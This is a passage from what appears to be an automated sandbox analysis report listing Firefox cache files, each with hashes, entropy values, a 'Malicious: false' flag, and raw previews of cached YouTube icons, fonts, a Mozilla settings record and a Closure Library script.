jOPQMBBwNCAAT2TiGO71kgiEbVMbAaoUp1ywATuh4sUKXGRZFPdq6Q2pbAepejEWfHbeXgzw1y6aXjQMdqhGTHNL8fxjFh0Wa5o4IMUjCCDE4wDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFL8sJlPSAPBz+rB8YJCMG20dBaDZMB8GA1UdIwQYMBaAFIp0f6+Fze6VzT2c0OJGFPNxNR0nMGoGCCsGAQUFBwEBBF4wXDAnBggrBgEFBQcwAYYbaHR0cD

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\20A574603506501C6684D4D62795933818D24698

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	17624
Entropy (8bit):	6.472789503972178
Encrypted:	false
SSDEEP:	384:EqiXLzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVg4N4g:EN7gdjAudZNL28eehq4w2BVVGg
MD5:	EF39D172D3C207515F1FE6F7FC84CCAC
SHA1:	FB60566F5CE3437A00A1CF4967C99232EC69F4A3
SHA-256:	1AAC3E75D0F1A0C33B594F125085793DA1227CFE6D366F432F5227CBACE070E6
SHA-512:	70C393ADBB1D92F2794AA6705E848A066F06D1C2F2ADDBA70CAC8CF22D43057948B403BD583E4E26FAD3A7BA03318A937AA89F70E78D41C6C91EF99B4D584786
Malicious:	false
Reputation:	unknown
Preview:	.X...,...^,+.d........]K...^.e.]..$r6.....H"Eh.W..<[...(.Fs..k.p...!.J.f.X..z.U.l.;<.tK......}s.'....P.:b..L....u.\|.;.1..$.= P..'.$.K.$E.c............A..D....<...2.Y93@....<j..[..5.F......;[....$..Kl:.&.ct.h1@.RX..4.o.x......I....J5.4....`eUv......%Z2."y.........C..g..~I..h.i%......dS]..C..a.$..T.(.ta.B.....I..`:....I.. .oK...eL.....".".Lg.....i.04.Y..^G_.srm... t]... ..@.q.Z_...{Q.k..E......!.M..[p.vz..v.v.. .m_.+F..5..G.....H`....C@.h.D.)..A........./..p%,.4aZ=.......k.......;.3.4W.d...YE.....".....\...:.OS/..\|...q.<.._..^.A.1a/.....Vy..g....W..Rg.;...s ...W).N...U....k.s.1.JA.M..s.hw........2So..0..w#iw.....$r.m.+.l.9.......0..9d..C.8..p......N..K.^&.-.oNA.[.....y..!./).o.....}.?......Af..}ef.:.%E.....yv.).......&.Q.8/"..ej.B"...)..W.c0.D..7N.v....dO..y......e.@.In.".]....e..m..9.O./.*J,..>.r.s..a.@(F..,[.pX~.../'~.sT.+..^.b..Z.Rq....r.<E.B.Y-..._..2Y.^...5,.<gf....7..l..l60].H.....W..ab.T...)....~.:\M#.L..4.g$.m..O.q...F.....uc.e..V.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\22F87FA15E561A147B3553070BE0035E3C6AEBB9

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2264924160
Category:	dropped
Size (bytes):	9549
Entropy (8bit):	6.1409217053418255
Encrypted:	false
SSDEEP:	192:LhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEyEw:ozwHUL75Vf8eehqrufWWCt2BVltr
MD5:	7DA12F7A13A7E52312880382A1FE88DB
SHA1:	C6946CE1AB1DE973FDAC1DAC7E0FCCCE9FF25B03
SHA-256:	9BCA1870B911B8888DA798AFD08B5ABD2CCB96B3885FB767A4D851F58627FA12
SHA-512:	172FA35AB34E108CA62F92F0B9242B7A8A5FEEB6FC1C13C0024C3697E039A5916A396CE90DC60409E6034271FEA6B01150EBA0824147F70D61071B84BFD5C2E3
Malicious:	false
Reputation:	unknown
Preview:	...............0.E....&5AP.d`bae..*.D..V..e..9G.%.6~.5 .,7cT..S=..!k.....rb.H...A.....rp0.._G......l.i......U../uh.?~............._w.........e.due.dvFv..g.I....h....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/pause/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc3ulc09nNDiRhTzcTUdJzB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\23B95E2D529F8F382FB54FFEBA59A2C4AD0F384E

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 352387072
Category:	dropped
Size (bytes):	9698
Entropy (8bit):	6.216995786482272
Encrypted:	false
SSDEEP:	192:YhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEAEo:hzwHUL75Vf8eehqrufWWCt2BVlJZ
MD5:	1503BC56EB50BB74F694C749FA894FFB
SHA1:	0BF0A763714E2F1F22177E42DBD4C43148C40B0D
SHA-256:	230A93C122B5D5AF271791CB34370591A6A5A468D190AAF40D1254C52E0AC699
SHA-512:	09C272A22EB5BED155E7B438A4ECC31873BBC011FD8EA678705B081D1039C5F5FF2B40A1C2B5181AB1C59B16408B116F754B4E13D5C46599AA362A6A171A5623
Malicious:	false
Reputation:	unknown
Preview:	..........%..n.0.E...>&q^...].... 1..DF...3.$.c..t.9....^-...j.R......!cL.....:/G..+8.k.~.ze..y....c.x....^.l...t.-..0..2.8Yl....08..X.Q....^W.u.B.....dP..26..6...}..'..(....ph,C....0.Q...s....e k9..5..5..[.A{...h...(N.y.Z......Y..T....k.!..ot.e3.t...V......L.....R..(.........e.due.dvFv..g.J....q....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/youtube_shorts/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4G

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\254256B27E0C48CF9B80B695F0B3B8CA84610495

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8402
Entropy (8bit):	6.091944208488525
Encrypted:	false
SSDEEP:	192:vQP08VFsxgaLcQqbra2Z43y/GVX3fbaI8j3qOcdBfTdByr:vQMAFyrroW2WiuVX3TaIdLBZByr
MD5:	C39FCFD089197C3051EC4FBC68217C62
SHA1:	3EA4C69861CD252992299B1026B6776B87F70139
SHA-256:	370FA32F845A78003940139841CB8817B1ABEB6F8440EDEF74A9117794AB5B21
SHA-512:	B90631A30711A8D96FC0F6213B07B8BF29C189CD096F9943BC34E1D84E86958F56127BF38133771E852F30A18F9830E38E9FC3F4C0B28DA5A6E979E94A199102
Malicious:	false
Reputation:	unknown
Preview:	{"permissions":{},"data":{"attachment":{"hash":"0ec0f16f92d876a9c1140d4c11e2b346a9292984d9a854360e54e99fdcd99cc0","size":7581,"filename":"asrouter.ftl","location":"main-workspace/ms-language-packs/4f1bcaa0-ddf9-43ef-aca3-8378c4d05582.ftl","mimetype":"application/octet-stream"},"id":"cfr-v1-en-US","last_modified":1648230346554}}.............e.dJe.dJFw..e.i$...q....:https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAXxMIIF7TCCA9WgAwIBAgISA9GY462VxzkuNQVlgf39iIiKMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEqMCgGA1UECgwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMSowKAYDVQQDDCFUaGUgVW5pdmVyc2UgU2VjdXJpdHkgQ29tcGFueSBMdGQwHhcNMjQwMTE2MjMzNTIxWhcNMjUwMTE1MjMzNTIxWjAmMSQwIgYDVQQDExtyZW1vdGUtc2V0dGl

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2550FDABB65ABC15BB2125D4F45E26670CEF2375

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 771883008
Category:	dropped
Size (bytes):	10461
Entropy (8bit):	6.3248954282112555
Encrypted:	false
SSDEEP:	192:aF9WjlSJYkpRlmudWyfX+p0T9yrtn0sQwk6/ZgdR8e98hqrKcS+E+rW29t2BVGvv:bTalmudQNhnmwb/ZWR8eehqrufWWCt2a
MD5:	0807C1476E1CF13FC902A73B3082A31A
SHA1:	D194153DDD25EABBAB294DC18C7F944639D65929
SHA-256:	316CAA5D5D5025E061F402156C29CCFB792ED61259D7114EC19B67D7F27F5FFB
SHA-512:	4359FA4D93584A688E79BB45C800BCD891F4202148FC88EF1EE4301950B59EC1107CDB687D31C58D9AD412C6F0E40F84B831D0428D3C9F264A605C9FB07F6683
Malicious:	false
Reputation:	unknown
Preview:	............n.0.@......5..[....5.:.r...V.jI%zC...p..^..7_8x"A.o.#..).}U.UA.A:7....k%.....9......g...:.9.....<.b.]......G.p\|..m....G)....E...ZV...wp{.}...;.......,9I6......oK?h...p..~...~...}..k<./".......m[..wA.u[.U?..?.........0W. .u.r ,.zE..@.0..s.........k.B.}..r{....h....HAdg....Fih]...?.T..!j..<.\*.J.v.A\...3.P`..O...(.RS$...Xd T.Z.....9B..Sz..?.<........<.5..7.9....................[i'y.....4<..<n.1...?.I..B..s..Y.=..3.Ag.;...........".....U..g..2eI.9IR.ihb.../WLm. ...6#.I.c&F..G&98ac`~j.z..L...........;.M......T.oz........e.d.e.d.Fv.7e..S...a....O^partitionKey=%28https%2Cyoutube.com%29,:https://fonts.googleapis.com/css?family=Roboto+Mono:400.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAYXMIIGEzCCBPugAwIBAgIRAIQI7RjftbMdEs/OFX282O4wDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\257FC89A8CE7665B22FB6627E176B74644190734

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 201392128
Category:	dropped
Size (bytes):	9681
Entropy (8bit):	6.209586854570566
Encrypted:	false
SSDEEP:	192:/hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEvoEvE:8zwHUL75Vf8eehqrufWWCt2BVlyoyE
MD5:	F6FC2144EF298B392778CDC27DAA9323
SHA1:	5A8B05256DD40DE487ED1260366724954ED21B5F
SHA-256:	250BBB882BCF468DED70FF885532404872EDAC044F1DB6FF8BA603F33C773ACD
SHA-512:	023F242595495507A5CEBE971109DBAFB463172336E189A2826A45B4C6AF71F94141E5FCB523457AB6A9020ECAAC78EF2170667AE33DE7D143F64671A11CD869
Malicious:	false
Reputation:	unknown
Preview:	..........%.Ao. ............S.=M.}J.R.Y.%U~.L&..~.O.........&...iJ)T<=~....6.a _n......R>...X....Wn.5...~...9&h'..U.1.../0d.=w.L..A.YP.J7..6w...$.VE..-_.B.O.A".8.E.db....MZVR...S..#;.QCO.u.%=.cK.'...+.e.{.~..p.g(......cT..."WS.O)....4..........o.....4z.~........e.dqe.dqFv..g......i....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/bag/v4/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\281D3362FC8DAA6BD8595A1C942DD405542AD365

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	20590
Entropy (8bit):	6.126669211059162
Encrypted:	false
SSDEEP:	384:e+MbY2GHCWnGIIOBz+1USqKZHIw857nVqN4mAQlpmVTaIdOjt:ocq5p8V4AQlpmZa8Ojt
MD5:	AB6BC3DDB381729DA34E45CFBA6C3A28
SHA1:	0A2050A4C6D98FCA580B5E51D8F55069F229687D
SHA-256:	3FD0C0B93C4AB35D988EB2F6B066BC8A3F5273C0533D0A1A6008D3B93E7B0E60
SHA-512:	7DDA948E43BBE1EF2B1DD3B9ACB38327AC9BEAB4C545EE38A9CB66A55F4821BCCC6EE355E2D61647DEA68EEBABF15961C78DE95AC49C8CCD8D8A9B846157C059
Malicious:	false
Reputation:	unknown
Preview:	(function(){'use strict';/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var e=this\|\|self;function f(c,b){c=c.split(".");var a=e;c[0]in a\|\|"undefined"==typeof a.execScript\|\|a.execScript("var "+c[0]);for(var d;c.length&&(d=c.shift());)c.length\|\|void 0===b?a[d]&&a[d]!==Object.prototype[d]?a=a[d]:a=a[d]={}:a[d]=b}.;var g={YEAR_FULL:"y",YEAR_FULL_WITH_ERA:"y G",YEAR_MONTH_ABBR:"MMM y",YEAR_MONTH_FULL:"MMMM y",YEAR_MONTH_SHORT:"MM/y",MONTH_DAY_ABBR:"MMM d",MONTH_DAY_FULL:"MMMM dd",MONTH_DAY_SHORT:"M/d",MONTH_DAY_MEDIUM:"MMMM d",MONTH_DAY_YEAR_MEDIUM:"MMM d, y",WEEKDAY_MONTH_DAY_MEDIUM:"EEE, MMM d",WEEKDAY_MONTH_DAY_YEAR_MEDIUM:"EEE, MMM d, y",DAY_ABBR:"d",MONTH_DAY_TIME_ZONE_SHORT:"MMM d, h:mm\u202fa zzzz"},h=g;h=g;var k={ERAS:["BC","AD"],ERANAMES:["Before Christ","Anno Domini"],NARROWMONTHS:"JFMAMJJASOND".split(""),STANDALONENARROWMONTHS:"JFMAMJJASOND".split(""),MONTHS:"January February March April May June July August September October November December

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2965A34A6840D5D6EE6F7501F96C7853A99885AC

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	8255
Entropy (8bit):	6.107217110425267
Encrypted:	false
SSDEEP:	96:ATbe0yQQn3rcCgQHYSifFxmWIuBLVQFM2Z4LXMcq0DVbQuRGQQMnfbaIVcwsGs3s:DuUJpiNlI8Lv2Z4LXDlfbaI8j3q5K6Ky
MD5:	4EF168EFAD638C36993D80F7D61C3526
SHA1:	9612FB5A0532A783906DF00F29BCC93A3A4DE397
SHA-256:	467BD3FC1D92113ED2DD5671B8C1977BE109DB4D74390FF678CE1FF3FAF636EF
SHA-512:	6C63520F29BE25627AEB5C48B173DEAFB0B7525B73DF2C8D7244D7EE8FD0FAD525A31A39A4411049C3B36B14E41F00C5E2A7069B8C38609540EEB7B7AB847842
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg"><path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z"></path></svg>..6x...........e.dQe.dQFv..g.?:........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_outline/keyboard-arrow-up/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAWUMIIFkDCCA3igAwIBAgIRAIA8JGl+9rN0CfNg29eV0TgwDQYJKoZIhvcNAQELBQAwgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMSowKAYDVQQKDCFUaGUgVW5pdmVyc2UgU2VjdXJpdHkgQ29tcGFueSBMdGQxKjAoBgNVBAMMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDAeFw0yNDAxMTYyMzM0NDRaFw0yNTAxMTUyMzM0NDRaMBgxFjAUBgNVBAMMDSouZ3N0YXRpYy5jb20wggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVW

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2A53E349B0D23679775634C33A168D8C9EBA9AEE

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	29808
Entropy (8bit):	7.454276129044434
Encrypted:	false
SSDEEP:	768:DznXkMBUHHPP6RfQSgdjAudZNL28eehq4w2BVNzA:HXkMBUHvPIQSvRaBw2XNzA
MD5:	0AEE7EC7644CBF4615AC63548900D814
SHA1:	AEEE4F06276E000A8A9A0E686B63778CD2906768
SHA-256:	DC2A9440E32CD98B808C2121CF88E99A035A22F94C66A3E6E201CF5EDA17555B
SHA-512:	35C16ED35861854E2D3BDE279C807EEFC7812439316C35FB18D052847D9241794A2B253B0F860EDF8AE6AEF86D36C71677A7AB83391758C363CA2A4C71A9AAD2
Malicious:	false
Reputation:	unknown
Preview:	. .dDjV..F..9...........)#,.y.7....[./YJh....%@.d[.<...Z......_.A..x....L.......B.f..i. 9..p.. w#...n.X70...yc\|......H....v.../.\|.x...c......0.M\........Ev.2......>_+[f...Y.[_.%.fM._$.....X.....a&...0..8.7..q.kLbV. .e...^....m.G.=...%i+......F..E...my.Q..00.<LB...e...D.."...!0D.dJ....L@.2...'##.Z.C...+`P.i..._...U....!..PWPj.0..Z......./.>..~Uf..y.N.i.8......U.e.K...Z63,^+..1.2.....q./...X..#....v.d.l....}./...=. ._...I]62q:..0S.L.....}.A....>. .,.2.D7....).......=.8.9..~[.f%..$.Z.e.."....\.-..{.$[......G.).~...i.n.t.(#m(.a..B..].b.#......e.#(W."R...h...K.e.+ ...kF..H.!q...QU.-.3M..G...G.rv.?.+.T.6..?~..h....t?5A.h..)..d.4A...JMB.y....!.....V\......{..O....wIz...U......X.x.{;44U....0.[-...R.eJ..........)S.Y...\|]Q..9K...a.a.nR..\|mw..yT... ...Fm)vQ. .,2.i......>..)Z.g..A)\.A`..S.zN&.3.v.\|...<..97........n..3?.Z.r&...}f%.z.p.?..Q..IX..Dd...O5.L3..C.L.I.uF........C.U..=.Z..w.......y....&...`2.......w.fS..h....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2D2BD4300F4F9E5384EB6A90F65578EAA1966BFA

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 486604800
Category:	dropped
Size (bytes):	9706
Entropy (8bit):	6.223257150301417
Encrypted:	false
SSDEEP:	192:0cJ2hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEmER:0C7zwHUL75Vf8eehqrufWWCt2BVlla
MD5:	02861A0884F2EE9842F767A7463F74CE
SHA1:	F962C88C73752F8B0F541607051DEDB2352F5192
SHA-256:	1F248F23EE73FC2C65B07A0A88A8EAFF563AF1F6BAE1E81E80CF2B8DB624ACB5
SHA-512:	57304C88DE800A689522D3B7868FA57C4F29E5392EE2BBB98E78441B87F14BC260DBB2BA5FE14AAE6DBD3FE6F9D255310E9EC5799740D57898816D5200FF6663
Malicious:	false
Reputation:	unknown
Preview:	..........5P.n.0...+....$.D9.....O...1.Z..S.%yy~~~..1..y..yt.....i.y......s.Q..r.........4...q...*7_.cY....k,p.... .T.$...1....};).d ..(^UA..W......VY....}....J...9..X.K..l.>"E...}.^....\-.dA....N&):..D..S.Gd^.L.5.....@...^.[...n.!.B..C.GR(...NVq.U.4t.n..b..~..........4...D........e.due.dvFv..g.X....o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/volume_on/v3/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswgg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2D67F8FF28F96157C8A8B9103CAF7CF5872D519D

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9531
Entropy (8bit):	6.225406944419209
Encrypted:	false
SSDEEP:	192:YLOhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWY8gY8B:kTzwHUL75Vf8eehqrufWWCt2BVmL8R8B
MD5:	413D8CC48B6051B15D1FBCD7ABAB9648
SHA1:	0C0F71CA35A4E785DE90B3B8498FA3EB871DBA52
SHA-256:	493EDAB2DEE3C809C7B2E98A574B03146A51EBE1FFEE7376B175162D04310F3B
SHA-512:	6343C71D9F065762BC3C96174279B97B2B6DF55E55F86D90AFE541A39472C2275D0CE4E44FDD16E516CC6DAB8602D5918C1F453627AD05980FF14AA93B05EFC6
Malicious:	false
Reputation:	unknown
Preview:	.....(pc.U"8...t.N......[...'........../.9..r\|k......c..Q...(..{.I......\|F7[..^...e.bF.....s?.....Lx.u1.7..8....?~.#..r4H$..8.......i..}.J.v..u...l&4.r..........W.u.h....cB;..E..5..=..]t.....1Q(.2R......98 .v.L'Pw.....p87..vFK.).i./[d.NC..#......vl.j\|...\...1.H..!..`.[.. ........e.due.dvFv..g.z.........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/shorts-comment/v2/32px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iT

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2DD14C5A7BD1A3F1D951CC47A1DA7A84B09FA6E8

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2365652992
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	6.275926658627153
Encrypted:	false
SSDEEP:	192:5bqhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEPEB:5TzwHUL75Vf8eehqrufWWCt2BVBQq
MD5:	7B0CDD850D9D7C2DC5951E5C3C730791
SHA1:	05ED20D28FDA025232B169B32F90E17A5D244730
SHA-256:	E42D7D33394E10E69350DB81927A1A215CD25C50EE1E724D7ABF47CCDD28A730
SHA-512:	DE7B47867BCADB990660C118CE765A7C5763375B6CAF254F1992311F060020034E689FA586642276419397D8ADC4BF72554790C64E35EE7D6764BDECBC39B605
Malicious:	false
Reputation:	unknown
Preview:	..........LR..@...+wW...+....P@.c4.Q.~.0..S..........z...y.....4M."..}.!.vx..........?......n....D..:...y\7......n~..q</.......f'.D........+..s..H>%.w.RG.R.2L..-(.t..I@L.:..!F.3J.\|}.dk.F.P..ID..: .....qD...`.a...UP.9)$.XDN.....om..<1D%.K...KY....Ib.5.k...)...W.6B".X$..?...........;&.%).D.wM..=A9..(....7.H_.\|........Udq..n'...2..{K...>.V...$.7eo..tn...7+.c.......!.. 